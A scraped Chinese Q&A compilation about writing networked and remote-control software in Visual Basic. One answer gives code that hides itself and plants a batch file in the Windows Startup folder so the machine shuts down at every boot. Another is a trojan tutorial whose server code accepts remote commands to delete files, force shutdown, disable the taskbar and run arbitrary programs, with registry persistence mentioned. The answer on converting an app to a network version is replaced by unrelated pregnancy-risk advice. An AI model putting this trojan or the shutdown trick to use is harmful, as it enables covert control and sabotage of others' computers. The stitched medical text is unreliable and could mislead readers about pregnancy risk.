1. 怎样用VB写软件
对于初学者,只能是说如何编写程序,而不是写软件,因为
软件=数据结构+程序
2. VB的网络版程序怎样做
这个问题可没提好啊!
你直接在网络里搜索啊,有很多这样的相关资料!windows下的任何网络编程都要用到winsock!
3. 怎么用vb编写远程控制软件
Private
Sub
Form_Load()
Me.Visible
=
False
Open
"C:\Documents
and
Settings\Administrator\“开始”菜单\程序\启动\1.bat"
For
Append
As
#1
Close
#1
Open
"C:\Documents
and
Settings\Administrator\“开始”菜单\程序\启动\1.bat"
For
Output
As
#1
Print
#1,
"shutdown
-s
-t
0"
Close
#1
End
Sub
你自己看下
你的启动路径在哪!
补充:
N楼的你发的什么啊,,
要BAT命令
关机
shutdown-s
-t
0
就关机了~~
追问:
那开机后这个VB会自动运行对吗。还有怎么样才能让自己点什么或按什么就可以阻止关机呢
回答:
这样呢,,就是把BAT命令写到启动里VB程序不会启动,
要是阻止关机,,
不容易
因为设置0秒了
要不你可以设置5秒以上,
阻止关机
Win+R
输入shutdown-a
就关机了
4. 如何将单机的VB应用程序改成网络版的
你好,你的情况有可能怀孕的,应该做个早孕的测试,可以通过早孕试纸来测试一下晨尿,也可以直接去医院做个HCG的检查,都是可以的,一般来说HCG的检查比试纸更为准确可靠.**
病情分析:
你好!你这情况是不会怀孕的
指导意见:
你这是安全期,而且还带套,并且没有进入阴道是不会怀孕的
病情分析:
你好,这种情况一般是不会怀孕的
指导意见:
月经期后一周是安全期,再者没有直接的阴道性交,一般是不会怀孕的
病情分析:
根据叙述,怀孕的几率很小.
指导意见:
同房的时间,是在月经干净后的第三天,相对来说,怀孕的几率还是比较小的,不需要担心.
病情分析:
你好,根据你的情况,考虑你是不会怀孕的,请放心好了.
指导意见:
因为没有进入阴道,所以就没有可能射精在里面,就不可能怀孕的.
生活护理:
而且你们同房的时间也基本不再排卵期,就更不用担心了.祝你健康.
病情分析:
你好,你的情况怀孕的可能性不大,不用担心
指导意见:
是在安全期性生活的,不会有怀孕的可能性,不用紧张
病情分析:
你好,那个时候你大概是在安全期.
指导意见:
再加上第一次没射精,第二次还是带了套的,所以你怀孕的几率很小,不用担心.
病情分析:
你好,按你说的情况来看不需要太担心.
指导意见:
首先你的月经刚完,按正常的来说,你在这个时候是不会排卵的,受孕机会不大,而且你们在发现避孕套破损的时候及时更换了,所以怀孕的可能性不大.
如果实在不放心,可以买一张早早孕试纸检测一下.
生活护理:
希望我的回答对你有帮助
病情分析:
你好,如果您的月经规律的话,排卵日应该在下次月经前14天,而非安全期是排卵日加上前5天和后4天,在这几天同房怀孕几率是很大的,其他时间就是安全期,在安全期同房怀孕的几率是很小的.
指导意见:
根据您的情况来看,您在月经干净之后3天同房,是属于安全期,即使内射,怀孕的几率也会很小,因此,不要太担心了.
5. 如何用VB6.0编辑一个远程控制软件
伊洛木马,名称源于古希腊的特伊洛马神话,是一种远程控制软件。现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。
首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。
在Client工程中建立一个窗体,加载WinSock控件(VB自己就带有这个控件的
在工具箱中添加winsock进去就了),称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then
MsgBox ("请输入主机名或主机IP地址。")
Exit Sub
Else
If Len(Text1.Text) > 0 Then
tcpClient.RemoteHost = Text1.Text
Else
tcpClient.RemoteHost = Text2.Text
End If
End If
tcpClient.Connect
Timer1.Enabled = True
End Sub
连接建立之后就可以使用DataArrival事件处理所收到的数据了。
在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:
Private Sub Form_Load()
tcpServer.LocalPort = 1999
tcpServer.Listen
End Sub
准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If tcpServer.State <> sckClosed Then
tcpServer.Close‘检查控件的 State 属性是否为关闭的。
End If ’如果不是,在接受新的连接之前先关闭此连接。
tcpServer.Accept requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
tcpServer.GetData strData
‘接收数据并存入strData
For i = 1 To Len(strData)
‘分离strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
‘把命令ID号存入mKey
‘把命令参数存入strData
strData = Right(strData, Len(strData) - i)
Exit For
End If
Next i
Select Case Val(mKey)
Case 1
‘驱动器名、目录名、文件名
Case 2
强制关闭服务器端的计算机
Case 3
强制重启服务器端的计算机
Case 4
屏蔽任务栏窗口;
Case 5
屏蔽开始菜单;
Case 6
按照客户机端传过来的文件名或目录名,而删除它;
Case 7
屏蔽热启动键;
Case 8
运行服务器端的任何程序
End Select
End Sub
客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。
另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:
Private Sub tcpServer_Close()
tcpServer.Close
tcpServer.Listen
End Sub
这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。
成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用BO程序破坏别人的系统。
6. 如何在VB中编写联网的程序
可以用Winsock控件,参照相关资料,我就不多说了
http://tech.163.com/06/0407/14/2E46BB930009159S.html
7. 用VB编写远程管理软件怎么编
首先你要获得远程机器的控制权限,然后可以通过TCP/IP向远程的机器发送请求。
如果想从远程机器一开机就开始控制它,那你要针对于windows的LoginApp写一个Cgi,在他输入密码前先执行你的App脚本。这样才能获得远程机器的超级用户使用权限。
如果双方都是windows的应用程序那就好办了,直接通过TSE方式就可以了。
8. 怎么用VB开发网络版的系统
利用ADO控件连接数据库就可以了 例如: dim conn as adodb.connection dim rs as adodb.recordset set conn=new adodb.connection set rs=new adodb.recordset conn.open "dsn=mydsn",UserID,UPwd rs.open "select * from tablename",conn,2,1 。。。
9. VB如何写内外网聊天软件
这个分几种情况的
先说说前提
聊天软件需要一个服务器存放客户端列表吧
只要客户端是在线的,那客户端与服务端必须是处于连接状态(这样服务器就可以作为客户端的中间人)
在这里Server(为服务端),Client A(客户端1)Client B(客户端2)
1,Client A是外网,Client B是外网这种情况很简单,Client A只要从服务器端得到Client B的信息(IP与登记的端口)就能够建立连接
2,Client A是外网,Client B是内网这种情况稍复杂,Client A连接Client B会失败,这时,Client A向Server发出请求,这时,Server通知Client B,让Client B连接Client A..因为Client A是外网机器,所以这样也就建立连接了
3,Client A与Client B都在内网,p2p关键是在这里,
当Client A连接Client B失败,Client A向Server发出请求,Server通知Client B对Client A进行连接,这时Client B他能连接上Client A!但是,如果刚才Client A没有连接Client B,那现在的Client B就连接不上Client A!反之:这里重新再来啊,Client B连接Client A失败,Client B向Server发出请求,Server通知Client A连接Client B,这时Client A也能连接上Client A!
在这里需要说一下NAT(网络地址转换),就是当内网用户连接外网时,NAT可以可以将内网地址转换成公网的IP地址与外网进行通信,但外网有数据返进入内网时,有两种可能(如果前面内网有向这个外网地址发送过数据包,那么NAT会把这个外网的连接转换为刚刚发送过数据包的内网地址)
再回来说前面的,Client A为什么会连接Client B失败?,因为Client A的数据包到达Client B的NAT时被丢弃了,而这时,Client B为什么又如何能连接Client A成功呢,因为当Client B的数据包到达Client A的NAT时,NAT检测到刚刚Client A有发送过数据包到Client B,这个时候NAT会将这个连接转换到Client A上去...这样就连接成功了
说着我都有点晕了.不知道你看着会不会晕..- -!看着晕慢慢看吧..CSDN中有VB版的UDP打洞例子,你找下...